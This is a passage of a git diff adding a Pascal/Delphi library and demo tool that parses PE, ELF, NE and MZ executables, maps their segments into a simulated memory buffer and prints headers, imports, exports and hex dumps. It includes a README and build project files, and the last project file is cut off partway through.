+interface + +{$IFDEF FPC} + {$MODE Delphi} +{$ENDIF} + +uses + SysUtils, Classes; + +type + TPseMemFlag = (pmfExecute, pmfRead, pmfWrite); + TPseMemFlags = set of TPseMemFlag; + + TPseVirtMem = class; + + TPseMemSegment = class + private + FOwner: TPseVirtMem; + FBase, FSize: UInt64; + FFlags: TPseMemFlags; + FStartEA, FEndEA: UInt64; + FName: string; + public + constructor Create(AOwner: TPseVirtMem; const AName: string; const ABase, ASize: UInt64; + AFlags: TPseMemFlags); virtual; + destructor Destroy; override; + + function Read(const AAddr: UInt64; var Buffer; Count: Longint): Longint; dynamic; + function Write(const AAddr: UInt64; const Buffer; Count: Longint): Longint; dynamic; + + procedure SaveToStream(Stream: TStream); + + property Name: string read FName; + property Base: UInt64 read FBase; + property Size: UInt64 read FSize; + property Flags: TPseMemFlags read FFlags write FFlags; + end; + + TPseVirtMem = class + private + FSegments: TList; + FMemBase: UInt64; + FBuffer: TMemoryStream; + FInitSize: UInt64; + FMaxSize: UInt64; + FSorted: boolean; + function GetSegment(const AAddr: UInt64): TPseMemSegment; + function GetSegmentByIndex(const Index: integer): TPseMemSegment; + function GetCount: integer; + function GetSize: Int64; + function GetStream: TStream; + procedure Sort; + public + constructor Create(const AMemBase: UInt64; const AInitSize, AMaxSize: UInt64); + destructor Destroy; override; + function CreateSegment(const AName: string; const ABase, ASize: UInt64; + const AFlags: TPseMemFlags): TPseMemSegment; + procedure Clear; + + function Read(const AAddr: UInt64; var Buffer; Count: Longint): Longint; + function Write(const AAddr: UInt64; const Buffer; Count: Longint): Longint; + + { Get Segment by Address } + property Segments[const AAddr: UInt64]: TPseMemSegment read GetSegment; + { Get segment by index } + property Items[const Index: integer]: TPseMemSegment read GetSegmentByIndex; default; + property Count: integer read GetCount; + property Size: Int64 read GetSize; + property MemBase: UInt64 read FMemBase; + property Stream: TStream read GetStream; + end; + +implementation + +uses + Math; + +{ TPseMemSegment } + +constructor TPseMemSegment.Create(AOwner: TPseVirtMem; const AName: string; const ABase, ASize: UInt64; + AFlags: TPseMemFlags); +begin + inherited Create; + FOwner := AOwner; + FName := AName; + FBase := ABase; + FSize := ASize; + FFlags := AFlags; + FStartEA := ABase; + FEndEA := ABase + ASize; +end; + +destructor TPseMemSegment.Destroy; +begin + inherited; +end; + +procedure TPseMemSegment.SaveToStream(Stream: TStream); +var + o, s: Int64; +begin + o := FBase; + FOwner.Stream.Seek(o, soFromBeginning); + s := Min(Int64(FSize), Int64(FOwner.Stream.Size - o)); + Stream.CopyFrom(FOwner.Stream, s); +end; + +function TPseMemSegment.Read(const AAddr: UInt64; var Buffer; Count: Longint): Longint; +var + index: integer; +begin + if not (pmfRead in FFlags) then + raise Exception.Create('Segment is not readable'); + if AAddr < FBase then + raise Exception.CreateFmt('Access violation read at 0x%.16x', [AAddr]); + if AAddr + Count > FBase + FSize then + raise Exception.CreateFmt('Access violation read at 0x%.16x', [AAddr]); + index := AAddr - (FOwner.FMemBase); + if (index < 0) then + raise Exception.CreateFmt('Access violation read at 0x%.16x', [AAddr]); + FOwner.FBuffer.Position := index; + Result := FOwner.FBuffer.Read(Buffer, Count); +end; + +function TPseMemSegment.Write(const AAddr: UInt64; const Buffer; Count: Longint): Longint; +var + pos: integer; +begin + if not (pmfWrite in FFlags) then + raise Exception.Create('Segment is not writeable'); + pos := AAddr + (FBase - FOwner.FMemBase); + if (pos < 0) or (Count > FSize) then + raise Exception.CreateFmt('Access violation write at 0x%.16x', [AAddr]); + FOwner.FBuffer.Position := pos; + Result := FOwner.FBuffer.Write(Buffer, Count); +end; + +{ TPseVirtMem } + +constructor TPseVirtMem.Create(const AMemBase: UInt64; const AInitSize, AMaxSize: UInt64); +begin + inherited Create; + FSegments := Classes.TList.Create; + FMemBase := AMemBase; + FInitSize := AInitSize; + FMaxSize := AMaxSize; + FBuffer := TMemoryStream.Create; + FBuffer.SetSize(FInitSize); + FSorted := false; +end; + +destructor TPseVirtMem.Destroy; +begin + Clear; + FSegments.Free; + FBuffer.Free; + inherited; +end; + +procedure TPseVirtMem.Clear; +var + i: integer; + seg: TPseMemSegment; +begin + for i := 0 to FSegments.Count - 1 do begin + seg := TPseMemSegment(FSegments[i]); + seg.Free; + end; + FSegments.Clear; +end; + +function TPseVirtMem.GetSegment(const AAddr: UInt64): TPseMemSegment; +var + i: integer; + seg: TPseMemSegment; +begin + for i := 0 to FSegments.Count - 1 do begin + seg := TPseMemSegment(FSegments[i]); + if (seg.FStartEA >= AAddr) and (seg.FEndEA < AAddr) then begin + Result := seg; + Exit; + end; + end; + Result := nil; +end; + +function TPseVirtMem.CreateSegment(const AName: string; const ABase, ASize: UInt64; + const AFlags: TPseMemFlags): TPseMemSegment; +begin + if GetSegment(ABase) <> nil then begin + raise Exception.CreateFmt('Segment at 0x%.16x already mapped', [ABase]); + end; + Result := TPseMemSegment.Create(Self, AName, FMemBase + ABase, ASize, AFlags); + FSegments.Add(Result); + FSorted := false; +end; + +function TPseVirtMem.Read(const AAddr: UInt64; var Buffer; Count: Longint): Longint; +var + seg: TPseMemSegment; +begin + seg := GetSegment(AAddr); + if seg = nil then + raise Exception.CreateFmt('No segment at 0x%.16x', [AAddr]); + Result := seg.Read(AAddr, Buffer, Count); +end; + +function TPseVirtMem.Write(const AAddr: UInt64; const Buffer; Count: Longint): Longint; +var + seg: TPseMemSegment; +begin + seg := GetSegment(AAddr); + if seg = nil then + raise Exception.CreateFmt('No segment at 0x%.16x', [AAddr]); + Result := seg.Write(AAddr, Buffer, Count); +end; + +function TPseVirtMem.GetCount: integer; +begin + Result := FSegments.Count; +end; + +function TPseVirtMem.GetSegmentByIndex(const Index: integer): TPseMemSegment; +begin + if not FSorted then + Sort; + if (Index >= 0) and (Index < Count) then + Result := TPseMemSegment(FSegments[Index]) + else + Result := nil; +end; + +{ Sort segments by address } +function Segments_SortProc(i1, i2: Pointer): Integer; +begin + if TPseMemSegment(i1).Base > TPseMemSegment(i2).Base then + Result := 1 + else if TPseMemSegment(i1).Base < TPseMemSegment(i2).Base then + Result := -1 + else + Result := 0; +end; + +procedure TPseVirtMem.Sort; +begin + FSegments.Sort(Segments_SortProc); + FSorted := true; +end; + +function TPseVirtMem.GetSize: Int64; +begin + Result := FBuffer.Size; +end; + +function TPseVirtMem.GetStream: TStream; +begin + Result := FBuffer; +end; + +end. diff --git a/Core/pesp/README.md b/Core/pesp/README.md new file mode 100644 index 0000000..e84306f --- /dev/null +++ b/Core/pesp/README.md @@ -0,0 +1,138 @@ +# Pascal Executable Parser + +A collection of classes and functions to parse executable files for the Pascal +language, namely for Free Pascal and Delphi. Everything is implemented in Pascal, +there are no external dependencies. + +These are my findings trying to parse these files. Not everything is implemented yet +(e.g. Resource parsing), and I may be wrong here and there. If you have +improvements let me know. + +## License + +BSD + +## Supported files + +- 16 Bit DOS EXE aka MZ +- 16 Bit Windows EXE aka NE +- 32 Bit PE +- 64 Bit PE +- 32 Bit ELF +- 64 Bit ELF + +## Compatibility + +OS +: Windows, Linux + +Compiler +: Delphi, Free Pascal (Generics required) + +## Usage + + // Register files we need + TPseFile.RegisterFile(TPsePeFile); + TPseFile.RegisterFile(TPseElfFile); + TPseFile.RegisterFile(TPseNeFile); + // If its not one of the above load it as raw file + TPseFile.RegisterFile(TPseRawFile); + + // filename contains the name of the executable + PseFile := TPseFile.GetInstance(filename, false); + try + WriteLn(PseFile.GetFriendlyName); + WriteLn(Format('Entry point 0x%x', [PseFile.GetEntryPoint])); + + WriteLn(Format('%d Sections', [PseFile.Sections.Count])); + for i := 0 to PseFile.Sections.Count - 1 do begin + sec := PseFile.Sections[i]; + WriteLn(Format('%s: Address 0x%x, Size %d', [sec.Name, sec.Address, sec.Size])); + end; + + WriteLn(Format('%d Imports', [PseFile.ImportTable.Count])); + for i := 0 to PseFile.ImportTable.Count - 1 do begin + imp := PseFile.ImportTable[i]; + WriteLn(Format('%s:', [imp.DllName])); + for j := 0 to imp.Count - 1 do begin + api := imp[j]; + WriteLn(Format(' %s: Hint %d, Address: 0x%x', [api.Name, api.Hint, api.Address])); + end; + end; + + WriteLn(Format('%d Exports', [PseFile.ExportTable.Count])); + for i := 0 to PseFile.ExportTable.Count - 1 do begin + expo := PseFile.ExportTable[i]; + WriteLn(Format(' %s: Orinal %d, Address: 0x%x', [expo.Name, expo.Ordinal, expo.Address])); + end; + + if PseFile is TPsePeFile then begin + // PE specific code... + end else if PseFile is TPseElfFile then begin + // ELF specific code... + end; + + finally + PseFile.Free; + end; + +For details see `pse.dpr`. + +## Screenshot + + pse.exe test\pe\inttest.exe + PE32 + Entry point 0x401010 + 3 Sections + .text: Address 0x1000, Size 10763 + .rdata: Address 0x4000, Size 1884 + .data: Address 0x5000, Size 4508 + 1 Imports + KERNEL32.dll: + RtlUnwind: Hint 0, Address: 0x59B8 + HeapCreate: Hint 0, Address: 0x59C4 + HeapDestroy: Hint 0, Address: 0x59D2 + HeapAlloc: Hint 0, Address: 0x59E0 + HeapReAlloc: Hint 0, Address: 0x59EC + HeapFree: Hint 0, Address: 0x59FA + HeapSize: Hint 0, Address: 0x5A06 + HeapValidate: Hint 0, Address: 0x5A12 + GetSystemTimeAsFileTime: Hint 0, Address: 0x5A22 + GetStartupInfoA: Hint 0, Address: 0x5A3C + GetFileType: Hint 0, Address: 0x5A4E + GetStdHandle: Hint 0, Address: 0x5A5C + GetCurrentProcess: Hint 0, Address: 0x5A6C + DuplicateHandle: Hint 0, Address: 0x5A80 + SetHandleCount: Hint 0, Address: 0x5A92 + GetCommandLineA: Hint 0, Address: 0x5AA4 + GetModuleFileNameA: Hint 0, Address: 0x5AB6 + GetEnvironmentStrings: Hint 0, Address: 0x5ACC + FreeEnvironmentStringsA: Hint 0, Address: 0x5AE4 + OutputDebugStringA: Hint 0, Address: 0x5AFE + UnhandledExceptionFilter: Hint 0, Address: 0x5B14 + ExitProcess: Hint 0, Address: 0x5B30 + SetConsoleCtrlHandler: Hint 0, Address: 0x5B3E + VirtualAlloc: Hint 0, Address: 0x5B56 + VirtualQuery: Hint 0, Address: 0x5B66 + GetConsoleMode: Hint 0, Address: 0x5B76 + GetConsoleOutputCP: Hint 0, Address: 0x5B88 + WriteFile: Hint 0, Address: 0x5B9E + GetLastError: Hint 0, Address: 0x5BAA + CloseHandle: Hint 0, Address: 0x5BBA + SetFilePointer: Hint 0, Address: 0x5BC8 + SetStdHandle: Hint 0, Address: 0x5BDA + MultiByteToWideChar: Hint 0, Address: 0x5BEA + WideCharToMultiByte: Hint 0, Address: 0x5C00 + DeleteFileA: Hint 0, Address: 0x5C16 + 0 Exports + +## References + +- TIS Committee. *Tool Interface Standard (TIS) Executable and Linking + Format (ELF) Specification*. TIS Committee, 1995. +- Micosoft. *Microsoft Portable Executable and Common Object File Format + Specification*. Microsoft, February 2013. +- Micosoft. *Executeable-file Header Format*. Microsoft, February 1999. + <ftp://ftp.microsoft.com/MISC1/DEVELOPR/WIN_DK/KB/Q65/1/22.TXT> +- <http://wiki.osdev.org/NE> +- <http://www.fileformat.info/format/exe/corion-ne.htm> diff --git a/Core/pesp/pse.dpr b/Core/pesp/pse.dpr new file mode 100644 index 0000000..086cdd6 --- /dev/null +++ b/Core/pesp/pse.dpr @@ -0,0 +1,196 @@ +program pse; + +{$ifdef MSWINDOWS} + {$APPTYPE CONSOLE} +{$endif} +{$IFDEF FPC} + {$MODE Delphi} +{$ENDIF} + +uses + SysUtils, + Classes, + PseDebugInfo in 'PseDebugInfo.pas', + PseElf in 'PseElf.pas', + PseElfFile in 'PseElfFile.pas', + PseExportTable in 'PseExportTable.pas', + PseFile in 'PseFile.pas', + PseImportTable in 'PseImportTable.pas', + PseLibFile in 'PseLibFile.pas', + PseMapFileReader in 'PseMapFileReader.pas', + PseMzFile in 'PseMzFile.pas', + PseNeFile in 'PseNeFile.pas', + PseObjFile in 'PseObjFile.pas', + PsePe in 'PsePe.pas', + PsePeFile in 'PsePeFile.pas', + PseRawFile in 'PseRawFile.pas', + PseSection in 'PseSection.pas', + PseCmn in 'PseCmn.pas', + PseMz in 'PseMz.pas', + PseImgLoader in 'PseImgLoader.pas', + PsePeLoader in 'PsePeLoader.pas', + PseVirtMem in 'PseVirtMem.pas', + PseElfLoader in 'PseElfLoader.pas', + PseNe in 'PseNe.pas', + PseResource in 'PseResource.pas'; + +function isprint(const AC: AnsiChar): boolean; +begin + Result := (AC >= ' ') and (AC <= '~') and (Ord(AC) <> $7F); +end; + +var + filename: string; + PseFile: TPseFile; + i, j, c, k: integer; + sec: TPseSection; + imp: TPseImport; + api: TPseApi; + expo: TPseExport; + mem: TPseVirtMem; + mem_base: UInt64; + mem_initsize, mem_maxsize: UInt64; + res: boolean; + seg: TPseMemSegment; + seg_flags: string; + buff: array[0..15] of Byte; + addr: UInt64; + print_mem: boolean; + res_item: TPseResource; + res_stream: TMemoryStream; +begin + // Register files we need + TPseFile.RegisterFile(TPsePeFile); + TPseFile.RegisterFile(TPseElfFile); + TPseFile.RegisterFile(TPseNeFile); + TPseFile.RegisterFile(TPseMzFile); + // If its not one of the above load it as raw file + TPseFile.RegisterFile(TPseRawFile); + + if ParamCount = 0 then begin + WriteLn('pse <filename> [-mem]'); + Halt(1); + end; + filename := ParamStr(1); + if not FileExists(filename) then begin + WriteLn(Format('File %s not found', [filename])); + Halt(1); + end; + print_mem := (ParamCount > 1) and (ParamStr(2) = '-mem'); + + PseFile := TPseFile.GetInstance(filename, false); + if not Assigned(PseFile) then begin + WriteLn('Unsupported file'); + Halt(1); + end; + try + WriteLn(PseFile.GetFriendlyName); + WriteLn(Format('Architecture: %s', [ARCH_STRING[PseFile.GetArch]])); + WriteLn(Format('Entry point 0x%x', [PseFile.GetEntryPoint])); + + WriteLn(Format('%d Sections', [PseFile.Sections.Count])); + for i := 0 to PseFile.Sections.Count - 1 do begin + sec := PseFile.Sections[i]; + WriteLn(Format(' %s: Address 0x%x, Size %d', [sec.Name, sec.Address, sec.Size])); + end; + + WriteLn(Format('%d Imports', [PseFile.ImportTable.Count])); + for i := 0 to PseFile.ImportTable.Count - 1 do begin + imp := PseFile.ImportTable[i]; + Write(Format(' %s', [imp.DllName])); + if imp.DelayLoad then + Write(' (delay load)'); + WriteLn(':'); + for j := 0 to imp.Count - 1 do begin + api := imp[j]; + WriteLn(Format(' %s: Hint %d, Address: 0x%x', [api.Name, api.Hint, api.Address])); + end; + end; + + WriteLn(Format('%d Exports', [PseFile.ExportTable.Count])); + for i := 0 to PseFile.ExportTable.Count - 1 do begin + expo := PseFile.ExportTable[i]; + WriteLn(Format(' %s: Ordinal %d, Address: 0x%x', [expo.Name, expo.Ordinal, expo.Address])); + end; + + WriteLn(Format('%d Resources', [PseFile.Resources.Count])); +// res_stream := TMemoryStream.Create; + try + for i := 0 to PseFile.Resources.Count - 1 do begin + res_item := PseFile.Resources[i]; + WriteLn(Format(' ID: %d, Type: %d (%s), Offset: %u, Size: %u', [res_item.ResId, + res_item.ResType, res_item.GetWinTypeString, res_item.Offset, res_item.Size])); +// res_stream.Clear; +// res_item.SaveToStream(res_stream); +// res_stream.SaveToFile(Format('test/res_%s_%d.dat', [res_item.GetWinTypeString, res_item.ResId])); + end; + finally +// res_stream.Free; + end; + + mem_base := 0; + mem_initsize := PseFile.GetInitHeapSize; + mem_maxsize := PseFile.GetMaxHeapSize; + if PseFile is TPsePeFile then begin + mem_base := TPsePeFile(PseFile).GetImageBase; + end else if PseFile is TPseElfFile then begin + mem_base := TPseElfFile(PseFile).GetImageBase; + end; + + // load . + mem := TPseVirtMem.Create(mem_base, mem_initsize, mem_maxsize); + try + res := TPseImgLoader.LoadFile(PseFile, mem); + if res then begin + WriteLn(Format('Virtual memory (Base = 0x%x, Size = %u) has %d segments:', [mem.MemBase, mem.Size, mem.Count])); + for i := 0 to mem.Count - 1 do begin + seg := mem.Items[i]; + seg_flags := ''; + if (pmfExecute in seg.Flags) then + seg_flags := seg_flags + ' Execute'; + if (pmfRead in seg.Flags) then + seg_flags := seg_flags + ' Read'; + if (pmfWrite in seg.Flags) then + seg_flags := seg_flags + ' Write'; + seg_flags := Trim(seg_flags); + WriteLn(Format(' %s: Base = 0x%x, Size = %u, Flags = %s', [seg.Name, seg.Base, seg.Size, seg_flags])); + // Print content of segment + if print_mem then begin + WriteLn(' Contents of segment:'); + j := 0; + c := 0; + repeat + addr := seg.Base + (j * SizeOf(buff)); + try + c := seg.Read(addr, buff, SizeOf(buff)); + except + Break; + end; + Write(Format(' 0x%.16x: ', [addr])); + for k := Low(buff) to High(buff) do begin + Write(Format('%.2x ', [buff[k]])); + end; + Write(' '); + for k := Low(buff) to High(buff) do begin + if isprint(AnsiChar(buff[k])) then + Write(Format('%s', [AnsiChar(buff[k])])) + else + Write('.'); + end; + Inc(j); + WriteLn; + until c <> SizeOf(buff); + end; + end; + end else begin + WriteLn('Error loading file into virtual memory'); + end; + finally + mem.Free; + end; + + finally + PseFile.Free; + end; +end. + diff --git a/Core/pesp/pse.dproj b/Core/pesp/pse.dproj new file mode 100644 index 0000000..167e09d --- /dev/null +++ b/Core/pesp/pse.dproj @@ -0,0 +1,160 @@ +<Project xmlns="http://schemas.microsoft.com/developer/msbuild/2003"> + <PropertyGroup> + <ProjectGuid>{B117FA3C-83BB-4810-B0A2-DEAF2F4F7109}</ProjectGuid> + <MainSource>pse.dpr</MainSource> + <Base>True</Base> + <Config Condition="'$(Config)'==''">Debug</Config> + <TargetedPlatforms>1</TargetedPlatforms> + <AppType>Console</AppType> + <FrameworkType>None</FrameworkType> + <ProjectVersion>14.3</ProjectVersion> + <Platform Condition="'$(Platform)'==''">Win32</Platform> + </PropertyGroup> + <PropertyGroup Condition="'$(Config)'=='Base' or '$(Base)'!=''"> + <Base>true</Base> + </PropertyGroup> + <PropertyGroup Condition="('$(Platform)'=='Win32' and '$(Base)'=='true') or '$(Base_Win32)'!=''"> + <Base_Win32>true</Base_Win32> + <CfgParent>Base</CfgParent> + <Base>true</Base> + </PropertyGroup> + <PropertyGroup Condition="'$(Config)'=='Release' or '$(Cfg_1)'!=''"> + <Cfg_1>true</Cfg_1> + <CfgParent>Base</CfgParent> + <Base>true</Base> + </PropertyGroup> + <PropertyGroup Condition="'$(Config)'=='Debug' or '$(Cfg_2)'!=''"> + <Cfg_2>true</Cfg_2> + <CfgParent>Base</CfgParent> + <Base>true</Base> + </PropertyGroup> + <PropertyGroup Condition="('$(Platform)'=='Win32' and '$(Cfg_2)'=='true') or '$(Cfg_2_Win32)'!=''"> + <Cfg_2_Win32>true</Cfg_2_Win32> + <CfgParent>Cfg_2</CfgParent> + <Cfg_2>true</Cfg_2> + <Base>true</Base> + </PropertyGroup> + <PropertyGroup Condition="'$(Base)'!=''"> + <DCC_K>false</DCC_K> + <DCC_N>false</DCC_N> + <DCC_ImageBase>00400000</DCC_ImageBase> + <DCC_Namespace>System;Xml;Data;Datasnap;Web;Soap;$(DCC_Namespace)</DCC_Namespace> + <VerInfo_Locale>3079</VerInfo_Locale> + <DCC_F>false</DCC_F> + <DCC_S>false</DCC_S> + <DCC_E>false</DCC_E> + <VerInfo_Keys>CompanyName=;FileDescription=;FileVersion=1.0.0.0;InternalName=;LegalCopyright=;LegalTrademarks=;OriginalFilename=;ProductName=;ProductVersion=1.0.0.0;Comments=;CFBundleName=;CFBundleDisplayName=;CFBundleIdentifier=;CFBundleVersion=;CFBundlePackageType=;CFBundleSignature=;CFBundleAllowMixedLocalizations=;CFBundleExecutable=</VerInfo_Keys> + </PropertyGroup> + <PropertyGroup Condition="'$(Base_Win32)'!=''"> + <DCC_Namespace>Winapi;System.Win;Data.Win;Datasnap.Win;Web.Win;Soap.Win;Xml.Win;Bde;$(DCC_Namespace)</DCC_Namespace> + <VerInfo_Locale>1033</VerInfo_Locale> + <VerInfo_Keys>CompanyName=;FileDescription=;FileVersion=1.0.0.0;InternalName=;LegalCopyright=;LegalTrademarks=;OriginalFilename=;ProductName=;ProductVersion=1.0.0.0;Comments=</VerInfo_Keys> + </PropertyGroup> + <PropertyGroup Condition="'$(Cfg_1)'!=''"> + <DCC_DebugInformation>false</DCC_DebugInformation> + <DCC_SymbolReferenceInfo>0</DCC_SymbolReferenceInfo> + <DCC_Define>RELEASE;$(DCC_Define)</DCC_Define> + <DCC_LocalDebugSymbols>false</DCC_LocalDebugSymbols> + </PropertyGroup> + <PropertyGroup Condition="'$(Cfg_2)'!=''"> + <DCC_GenerateStackFrames>true</DCC_GenerateStackFrames> + <DCC_Optimize>false</DCC_Optimize> + <DCC_Define>DEBUG;$(DCC_Define)</DCC_Define> + </PropertyGroup> + <PropertyGroup Condition="'$(Cfg_2_Win32)'!=''"> + <Debugger_RunParams>test/ne/TCMD16.EXE</Debugger_RunParams> + </PropertyGroup> + <ItemGroup> + <DelphiCompile Include="$(MainSource)"> + <MainSource>MainSource</MainSource> + </DelphiCompile> + <DCCReference Include="PseDebugInfo.pas"/> + <DCCReference Include="PseElf.pas"/> + <DCCReference Include="PseElfFile.pas"/> + <DCCReference Include="PseExportTable.pas"/> + <DCCReference Include="PseFile.pas"/> + <DCCReference Include="PseImportTable.pas"/> + <DCCReference Include="PseLibFile.pas"/> + <DCCReference Include="PseMapFileReader.pas"/> + <DCCReference Include="PseMzFile.pas"/> + <DCCReference Include="PseNeFile.pas"/> + <DCCReference Include="PseObjFile.pas"/> + <DCCReference Include="PsePe.pas"/> + <DCCReference Include="PsePeFile.pas"/> + <DCCReference Include="PseRawFile.pas"/> + <DCCReference Include="PseSection.pas"/> + <DCCReference Include="PseCmn.pas"/> + <DCCReference Include="PseMz.pas"/> + <DCCReference Include="PseImgLoader.pas"/> + <DCCReference Include="PsePeLoader.pas"/> + <DCCReference Include="PseVirtMem.pas"/> + <DCCReference Include="PseElfLoader.pas"/> + <DCCReference Include="PseNe.pas"/> + <DCCReference Include="PseResource.pas"/> + <BuildConfiguration Include="Debug"> + <Key>Cfg_2</Key> + <CfgParent>Base</CfgParent> + </BuildConfiguration> + <BuildConfiguration Include="Base"> + <Key>Base</Key> + </BuildConfiguration> + <BuildConfiguration Include="Release"> + <Key>Cfg_1</Key> + <CfgParent>Base</CfgParent> + </BuildConfiguration> + </ItemGroup> + <ProjectExtensions> + <Borland.Personality>Delphi.Personality.12</Borland.Personality> + <Borland.ProjectType/> + <BorlandProject> + <Delphi.Personality> + <Source> + <Source Name="MainSource">pse.dpr</Source> + </Source> + <VersionInfo> + <VersionInfo Name="IncludeVerInfo">False</VersionInfo> + <VersionInfo Name="AutoIncBuild">False</VersionInfo> + <VersionInfo Name="MajorVer">1</VersionInfo> + <VersionInfo Name="MinorVer">0</VersionInfo> + <VersionInfo Name="Release">0</VersionInfo> + <VersionInfo Name="Build">0</VersionInfo> + <VersionInfo Name="Debug">False</VersionInfo> + <VersionInfo Name="PreRelease">False</VersionInfo> + <VersionInfo Name="Special">False</VersionInfo> + <VersionInfo Name="Private">False</VersionInfo> + <VersionInfo Name="DLL">False</VersionInfo> + <VersionInfo Name="Locale">3079</VersionInfo> + <VersionInfo Name="CodePage">1252</VersionInfo> + </VersionInfo> + <VersionInfoKeys> + <VersionInfoKeys Name="CompanyName"/> + <VersionInfoKeys Name="FileDescription"/> + <VersionInfoKeys Name="FileVersion">1.0.0.0</VersionInfoKeys> + <VersionInfoKeys Name="InternalName"/> + <VersionInfoKeys Name="LegalCopyright"/> + <VersionInfoKeys Name="LegalTrademarks"/> + <VersionInfoKeys Name="OriginalFilename"/> + <VersionInfoKeys Name="ProductName"/> + <VersionInfoKeys Name="ProductVersion">1.0.0.0</VersionInfoKeys> + <VersionInfoKeys Name="Comments"/> + <VersionInfoKeys Name="CFBundleName"/> + <VersionInfoKeys Name="CFBundleDisplayName"/> + <VersionInfoKeys Name="CFBundleIdentifier"/> + <VersionInfoKeys Name="CFBundleVersion"/> + <VersionInfoKeys Name="CFBundlePackageType"/> + <VersionInfoKeys Name="CFBundleSignature"/> + <VersionInfoKeys Name="CFBundleAllowMixedLocalizations"/> + <VersionInfoKeys Name="CFBundleExecutable"/> + </VersionInfoKeys> + </Delphi.Personality> + <Platforms> + <Platform value="OSX32">False</Platform> + <Platform value="Win32">True</Platform> + <Platform value="Win64">False</Platform> + </Platforms> + </BorlandProject> + <ProjectFileVersion>12</ProjectFileVersion> + </ProjectExtensions> + <Import Project="$(BDS)\Bin\CodeGear.Delphi.Targets" Condition="Exists('$(BDS)\Bin\CodeGear.Delphi.Targets')"/> + <Import Project="$(APPDATA)\Embarcadero\$(BDSAPPDATABASEDIR)\$(PRODUCTVERSION)\UserTools.proj" Condition="Exists('$(APPDATA)\Embarcadero\$(BDSAPPDATABASEDIR)\$(PRODUCTVERSION)\UserTools.proj')"/> +</Project> diff --git a/Core/pesp/pse.lpi b/Core/pesp/pse.lpi new file mode 100644 index 0000000..8102641 --- /dev/null +++ b/Core/pesp/pse.lpi @@ -0,0 +1,316 @@ +<?xml version="1.0" encoding="UTF-8"?> +<CONFIG> + <ProjectOptions> + <Version Value="10"/> + <General> + <Flags> + <MainUnitHasCreateFormStatements Value="False"/> + <MainUnitHasTitleStatement Value="False"/> + </Flags> + <SessionStorage Value="InProjectDir"/> + <MainUnit Value="0"/> + <Title Value="pse"/> + <UseAppBundle Value="False"/> + <ResourceType Value="res"/> + </General> + <i18n> + <EnableI18N LFM="False"/> + </i18n> + <BuildModes Count="6"> + <Item1 Name="Win32-Debug" Default="True"/> + <Item2 Name="Win32-Release"> + <CompilerOptions> + <Version Value="11"/> + <PathDelim Value="\"/> + <SearchPaths> + <IncludeFiles Value="$(ProjOutDir)"/> + <UnitOutputDirectory Value="lib\$(TargetCPU)-$(TargetOS)"/> + </SearchPaths> + <Parsing> + <SyntaxOptions> + <CStyleOperator Value="False"/> + </SyntaxOptions> + </Parsing> + <CodeGeneration> + <SmartLinkUnit Value="True"/> + <TargetCPU Value="i386"/> + <TargetOS Value="win32"/> + <Optimizations> + <OptimizationLevel Value="3"/> + </Optimizations> + </CodeGeneration> + <Linking> + <Debugging> + <GenerateDebugInfo Value="False"/> + </Debugging> + <LinkSmart Value="True"/> + </Linking> + </CompilerOptions> + </Item2> + <Item3 Name="Win64-Debug"> + <CompilerOptions> + <Version Value="11"/> + <PathDelim Value="\"/> + <SearchPaths> + <IncludeFiles Value="$(ProjOutDir)"/> + <UnitOutputDirectory Value="lib\$(TargetCPU)-$(TargetOS)"/> + </SearchPaths> + <Parsing> + <SyntaxOptions> + <CStyleOperator Value="False"/> + <IncludeAssertionCode Value="True"/> + </SyntaxOptions> + </Parsing> + <CodeGeneration> + <Checks> + <IOChecks Value="True"/> + <RangeChecks Value="True"/> + <OverflowChecks Value="True"/> + <StackChecks Value="True"/> + </Checks> + <TargetCPU Value="x86_64"/> + <TargetOS Value="win64"/> + </CodeGeneration> + <Linking> + <Debugging> + <DebugInfoType Value="dsDwarf2Set"/> + <UseHeaptrc Value="True"/> + <UseExternalDbgSyms Value="True"/> + </Debugging> + </Linking> + </CompilerOptions> + </Item3> + <Item4 Name="Win64-Release"> + <CompilerOptions> + <Version Value="11"/> + <PathDelim Value="\"/> + <SearchPaths> + <IncludeFiles Value="$(ProjOutDir)"/> + <UnitOutputDirectory Value="lib\$(TargetCPU)-$(TargetOS)"/> + </SearchPaths> + <Parsing> + <SyntaxOptions> + <CStyleOperator Value="False"/> + </SyntaxOptions> + </Parsing> + <CodeGeneration> + <SmartLinkUnit Value="True"/> + <TargetCPU Value="x86_64"/> + <TargetOS Value="win64"/> + <Optimizations> + <OptimizationLevel Value="3"/> + </Optimizations> + </CodeGeneration> + <Linking> + <Debugging> + <GenerateDebugInfo Value="False"/> + </Debugging> + <LinkSmart Value="True"/> + </Linking> + </CompilerOptions> + </Item4> + <Item5 Name="DOS16-Debug"> + <CompilerOptions> + <Version Value="11"/> + <PathDelim Value="\"/> + <SearchPaths> + <IncludeFiles Value="$(ProjOutDir)"/> + <UnitOutputDirectory Value="lib\$(TargetCPU)-$(TargetOS)"/> + </SearchPaths> + <Parsing> + <SyntaxOptions> + <CStyleOperator Value="False"/> + <IncludeAssertionCode Value="True"/> + </SyntaxOptions> + </Parsing> + <CodeGeneration> + <Checks> + <IOChecks Value="True"/> + <RangeChecks Value="True"/> + <OverflowChecks Value="True"/> + <StackChecks Value="True"/> + </Checks> + <TargetCPU Value="i8086"/> + <TargetOS Value="msdos"/> + </CodeGeneration> + <Linking> + <Debugging> + <DebugInfoType Value="dsDwarf2Set"/> + <UseHeaptrc Value="True"/> + <UseExternalDbgSyms Value="True"/> + </Debugging> + </Linking> + </CompilerOptions> + </Item5> + <Item6 Name="DOS16-Release"> + <CompilerOptions> + <Version Value="11"/> + <PathDelim Value="\"/> + <SearchPaths> + <IncludeFiles Value="$(ProjOutDir)"/> + <UnitOutputDirectory Value="lib\$(TargetCPU)-$(TargetOS)"/> + </SearchPaths> + <Parsing> + <SyntaxOptions> + <CStyleOperator Value="False"/> + </SyntaxOptions> + </Parsing> + <CodeGeneration> + <SmartLinkUnit Value="True"/> + <TargetCPU Value="i8086"/> + <TargetOS Value="msdos"/> + <Optimizations> + <OptimizationLevel Value="3"/> + </Optimizations> + </CodeGeneration> + <Linking> + <Debugging> + <GenerateDebugInfo Value="False"/> + </Debugging> + <LinkSmart Value="True"/> + </Linking> + </CompilerOptions> + </Item6> + </BuildModes> + <PublishOptions> + <Version Value="2"/> + </PublishOptions> + <RunParams> + <local> + <FormatVersion Value="1"/> + <CommandLineParams Value="/Users/Coldzer0/cold/DISASM/Cmulator/samples/case.exe"/> + </local> + </RunParams> + <Units Count="24"> + <Unit0> + <Filename Value="pse.dpr"/> + <IsPartOfProject Value="True"/> + </Unit0> + <Unit1> + <Filename Value="PseElf.pas"/> + <IsPartOfProject 